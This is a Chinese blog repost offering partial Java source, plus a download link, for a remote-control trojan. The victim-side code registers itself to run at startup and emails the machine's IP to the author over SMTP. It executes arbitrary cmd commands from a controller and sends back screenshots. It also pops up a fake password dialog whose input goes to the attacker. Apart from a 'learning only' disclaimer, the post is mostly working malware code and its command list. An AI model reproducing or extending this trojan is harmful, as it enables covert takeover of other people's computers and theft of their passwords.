利用Java寫木馬程式(附原始碼!) - IT閱讀
文章推薦指數: 80 %
木馬定義:利用計算機程式漏洞侵入後竊取檔案的程式程式被稱為木馬。
它是一種具有隱藏性的、自發性的可被用來進行惡意行為的程式,多不會直接對電腦產生危害 ...
java教程
利用Java寫木馬程式(附原始碼!)
java教程
·
發表2018-10-05
這個小程式是很久以前寫的,現在發上來(僅供大家學習參考,不能用於任何非法行為~)
木馬定義:利用計算機程式漏洞侵入後竊取檔案的程式程式被稱為木馬。
它是一種具有隱藏性的、自發性的可被用來進行惡意行為的程式,多不會直接對電腦產生危害,而是以控制為主。
當然我寫的這個沒這麼“強大”。
。
。
首先講下我的實現思路:
主要通過Socket和ServerSocket之間傳輸資料。
由於我沒有自己的一個伺服器(沒有固定IP),所以在這個程式中,我把被控制端作為ServerSocket,.控制端為Socket。
要連線ServerSocket,首先要知道其的IP地址
這裡我採用當程式啟動時,從ServerSoket端傳送一份包含其IP資訊的郵件到自己的郵箱。
隨後控制端就可以順利連線到ServerSoket端了。
但是這裡有個問題,就是到ServerSoket處於內網時,將無法順利連線
連線成功之後,我們就可以傳送命令給ServerSoket。
然後在ServerSoket那一端進行執行。
這裡的執行包括ServerSoket進行相應的本地操作(具體操作的內容下面有說明),以及傳送資料給我們能的控制端。
程式功能說明:
/**本程式僅供學習參考使用。
嚴禁使用本程式進行違法行為!*本程式功能*1、程式開機自動啟動(√)*2、自動傳送郵件*3、執行dos命令,並將資訊返回、這裡可以執行關機等命令(√)*4、鎖定滑鼠,這裡通過一個執行緒實現*5、檢視被控制端的桌面,將桌面畫面截圖併發送給控制端(√)*6、在被控制端彈出對話方塊,多種對話方塊模式(√)*7、讓被控制端閃屏(√)*本程式僅供學習參考使用。
嚴禁使用本程式進行違法行為!*/
下面給出一些程式執行的效果圖:
首先輸入IP地址進行連線,通過郵件我們可以知道被控制端的IP地址,下面看下郵件效果
然後我們就可以進行相應的操作了
如輸入-help,可以顯示本程式支援的命令。
這裡演示下在被控制端彈出輸入密碼對話方塊
我們在控制端輸入-dinpass親,請輸入的你密碼!
那麼彈出的對話方塊效果如圖所示!
當被控制點選確定時,將傳送其輸入的密碼到控制端,我們可以看到效果。
我輸入的是123321
再演示個執行dos的關機命令。
其它功能如滑鼠鎖定等,不方便控制演示。
就留給大家自己探索!!!
下面附上程式碼
由於程式碼較多,這裡上傳部分程式碼
控制端部分程式碼
ControlWin.javaimport...;publicclassControlWin{Socketsocket;........publicControlWin(){in=newScanner(System.in);System.out.print("輸入IP:");IP=in.nextLine().trim();try{socket=newSocket(IP,PORT);....初始化其它資訊System.out.println("contected");dos=newDataOutputStream(socket.getOutputStream());dis=newDataInputStream(socket.getInputStream());newThread(newMyInputThread()).start();go();}catch(UnknownHostExceptione){e.printStackTrace();return;}catch(IOExceptione){e.printStackTrace();return;}}publicvoidgo(){//開始傳送命令while(true){System.out.println("intputcommend:");dosS=in.nextLine().trim();if(){.......}elseif(dosS.endsWith("-help")){System.out.println("-doutmsgmsg以對話方塊形式輸出資訊/n"+"-dinmsg彈出一個輸入對話方塊/n"+"-dinpassmsg彈出一個輸入密碼對話方塊+顯示資訊msg/n"+"-flashmsg閃屏並顯示msg所表示的文字/n"+"-p:獲取圖片/n"+"-ml鎖定鍵盤.....-ma取消鎖定/n"+"輸入其則執行相應的dos命令,如輸入ipconfig則顯示相應的ip資訊/n"+"exit:退出");continue;}try{dos.writeUTF(dosS);}catch(IOExceptione){e.printStackTrace();}}}/*接受被控制端傳送過來的圖片*/publicvoidgetPic(){.....while(true){try{num=dis.read(imageData,0,imageData.length);fos.write(imageData,0,num);length-=num;if(length==0){break;}}catch(Exceptione){try{System.out.println("error");fos.flush();fos.close();}catch(IOExceptione1){e1.printStackTrace();}break;}}....}publicstaticvoidmain(String[]args){newControlWin();}classMyInputThreadimplementsRunnable{接受被控制端返回的文字資訊publicvoidrun(){while(true){.....}}}}被控制端部分程式碼
Test.javapublicclassTest{ServerSocketserverSocket;Socketsocket;......publicTest(){/*在登錄檔中設定開機自動執行register();以及傳送郵件,主要是把自己的IP發出來,並進行一些初始化......*/go();}}/*在登錄檔中設定開機自動執行*/voidgo(){while(true){/**這裡不斷的接受傳送過來的命令然後根據命令執行相應的操作*如:(標有√,的是本程式已經實現的功能)*1、我們可以通過開啟一個執行緒通過robot鎖定滑鼠(√)*2、執行dos命令(√)*3、傳輸被控制端的檔案*4、檢視被控制端的桌面(√)*5、在被控制端彈出對話方塊(√)*6、讓被控制端閃屏(√)*7、等等等等*具體的實現都在這裡進行,當然這個需要和控制者那段的程式碼相配合*同時自己設計好具體的命令**/try{commendString=dis.readUTF().trim();}catch(IOExceptione){System.out.println("leave");break;}然後對commendString進行分析,執行相應的命令就是上面所描述的1,2,3...等等等命令}}/*在登錄檔註冊開機自動啟動*/publicvoidregister(){......}/*啟動執行緒鎖定滑鼠*/voidmouseLock(Strings){......}/*執行dos命令*/voiddosExe(StringdosString){Stringcommand="cmd/c"+dosString;Strings=null;try{process=r.exec(command);bufferedReader=newBufferedReader(newInputStreamReader(process.getInputStream()));dos.writeUTF("1start");while((s=bufferedReader.readLine())!=null){s=s.trim();dos.writeUTF(s);}dos.writeUTF("1end");}catch(IOExceptione){e.printStackTrace();}}/*傳送圖片*/voidsendPic(){......}publicstaticvoidmain(String[]args){newTest();}/*獲取本地IP*/StringgetIP(){StringipString="";Enumeration
netInterfaces=null;
try{
netInterfaces=NetworkInterface.getNetworkInterfaces();
while(netInterfaces.hasMoreElements()){
NetworkInterfaceni=netInterfaces.nextElement();
ipString=ipString+ni.getDisplayName()+"/n";
ipString=ipString+ni.getName()+"/n";
Enumeration
ips=ni.getInetAddresses();
while(ips.hasMoreElements()){
ipString=ipString+ips.nextElement().getHostAddress()
+"/n";
}
}
}catch(Exceptione){
e.printStackTrace();
}
returnipString;
}
/*顯示訊息對話方塊*/
classShowDialogThreadextendsThread{......
}
classMouseLockThreadextendsThread{......
}
//這裡可以啟動其它的應用程式
classOtherAppextendsThread{
}
/*下面兩個類用於檔案複製*/
classJarUtil{......
}
classMyCopy{
publicintfileCopy(StringsFile,StringoFile){......
}
}
/*
*傳送郵件部分需要一兩個郵箱,一個是傳送方郵箱,一個是接受郵箱
*/
classSMail{
booleansended=false;
Propertiesprops;
Sessionsession;
Messagemsg;
Transporttransport;
publicvoidsend(Strings){
try{
//System.out.println(s);
props=newProperties();
props.setProperty("mail.smtp.auth","true");
props.setProperty("mail.transport.protocol","smtp");
session=Session.getDefaultInstance(props);
//session.setDebug(true);
msg=newMimeMessage(session);
msg.setSubject("ip");
msg.setText(s);
/*xxxxxxxxxxxxxxxx為傳送方郵箱使用者名稱*/
msg.setFrom(newInternetAddress("
[email protected]"));
transport=session.getTransport();
/*xxxxxxxxxxxxxxxx為傳送方郵箱使用者名稱、
*yyyyyyyyy為傳送方郵箱密碼*/
transport.connect("smtp.sina.com",25,"xxxxxxxxxxxxxxxx","yyyyyyyyy");
transport.sendMessage(msg,newAddress[]{newInternetAddress(
"
[email protected]")});
transport.close();
sended=true;
}catch(Exceptione){
}
}
publicSMail(){
sended=false;
}
}
/*密碼輸入框*/
classMyDialogPassInputextendsJDialog{......
}
/*閃屏*/
classFlash{......
}
/*輸入對話方塊*/
classMyDialogMsgInputextendsJDialog{
JTextFieldtext;
JButtonsureButton;
Stringstring;
publicMyDialogMsgInput(Strings){......
}
}
轉自:http://blog.csdn.net/leasystu/article/details/7268402附上完整原始碼地址
http://download.csdn.net/detail/leasystu/4070931
標籤:木馬原始碼利用程式Java
更多相關知識…
利用Java寫木馬程式(附原始碼!)
這個小程式是很久以前寫的,現在發上來(僅供大家學習參考,不能用於任何非法行為~)
木馬定義:利用計算機程式漏洞侵入...
分享一下業餘時間,自己用C#寫的一個俄羅斯方塊的小程式(附原始碼)。
前兩天突發奇想,想要檢驗一下工作這一年多以來,程式設計思想是否有進步,以及對c#的掌握程度,所以拿俄羅斯方塊來試刀。
...
J2ME3D程式設計――第一個3D程式(附原始碼)
參考WTK2.2提供的demo,完成了第一個3D程式,雖然很簡單,而且有些問題還不是很清楚,還是把程式碼共享出來和願意學...
基於簡訊的手機控制程式(附原始碼)
1.1前言興趣是最好的老師,這句話對於有志於從事軟體開發的人來說尤為重要,畢竟這一行業需要不斷的學習新知識,缺乏興趣的工...
一時間腦抽,打了簡單的比賽,用用java寫點ACM程式,好用不好用就這樣了
今天,看見學弟們興致勃勃的打一個模擬賽,很有興趣就來試一試了!
我的水平也就止於模擬題,模擬模擬就完了
P...
用1、2、2、3、4、5這六個數字,用java寫一個程式,打印出所有不同的排列
用1、2、2、3、4、5這六個數字,用java寫一個程式,打印出所有不同的排列,如:512234、412345等,要求:...
Java編寫的計算器程式及原始碼
//frame版程式原始碼如下,疏漏之處,望批評指正。
//數字分組沒有編寫,科學型計算器沒有編寫,其他已經完善。
...
Java編寫的計算器程式及原始碼(1)
//frame版程式原始碼如下,疏漏之處,望批評指正。
//數字分組沒有編寫,科學型計算器沒有編寫,其他已經完善。
...
防止Java程式的原始碼被別人偷看的方法
Java程式的原始碼很容易被別人偷看,只要有一個反編譯器,任何人都可以分析別人的程式碼。
本文討論如何在不修改原有程式的情...
利用java.util.properties讀/存properties資原始檔及XML文件
大小:195.8KB...
Javascript間諜指令碼分析:Web惡意程式Scanbox原始碼分析與演示Script
背景“ScanBox相當危險,它只需在web瀏覽器上執行Javascript程式碼即可啟動鍵盤記錄竊聽,不需要在你的計...
如何用JS/HTML將時間戳轉換為“xx天前”的形式【附原始碼,轉Script
如果我們有一份過去時間戳,如何使用JS/HTML將時間戳轉換為“xx天前”的形式呢,以下是完整程式碼
延伸文章資訊
- 1用Python寫一個自動木馬程式
用Python寫一個自動木馬程式. 電腦作為大家日常辦公的工具,最怕的一件事情之一就是被偷,當我們的電腦被盜的時候,不僅僅是電腦本身,更重要的是電腦儲存的資料都會 ...
- 2C語言編寫木馬程序!使用scoket編程:附送源碼+教學!
今天給大家介紹當下熱門語言的另外3種,外觀上看比較相似的C C++ C#。 C語言是一門通用計算機程式語言,電腦程式設計語言。具有高級語言特點,又具有彙編 ...
- 3特洛伊木馬病毒程式設計(加強版):使用Python - 博客來
書名:特洛伊木馬病毒程式設計(加強版):使用Python,語言:繁體中文,ISBN:9789864343638,頁數:288,出版社:博碩,作者:北極星,出版日期:2018/12/26, ...
- 4木馬是如何編寫的 - 史萊姆論壇
KERNEL32.DLL中的鳥函數了。 ... 管理器可以對當繼續程一覽無餘,因此沒必要在WinNt下也使用以上程式碼(不過你可以使用其他的方法, 這個留到後面再講)。
- 5如何編寫木馬程序? - 雅瑪知識
如果你想幹壞事,嘻嘻,木馬也不是那麼好寫的,首先你要成為一個出色的程序員,不僅要打好C語言基礎,更要精通匯編語言和計算機硬件以及操作系統原理, ...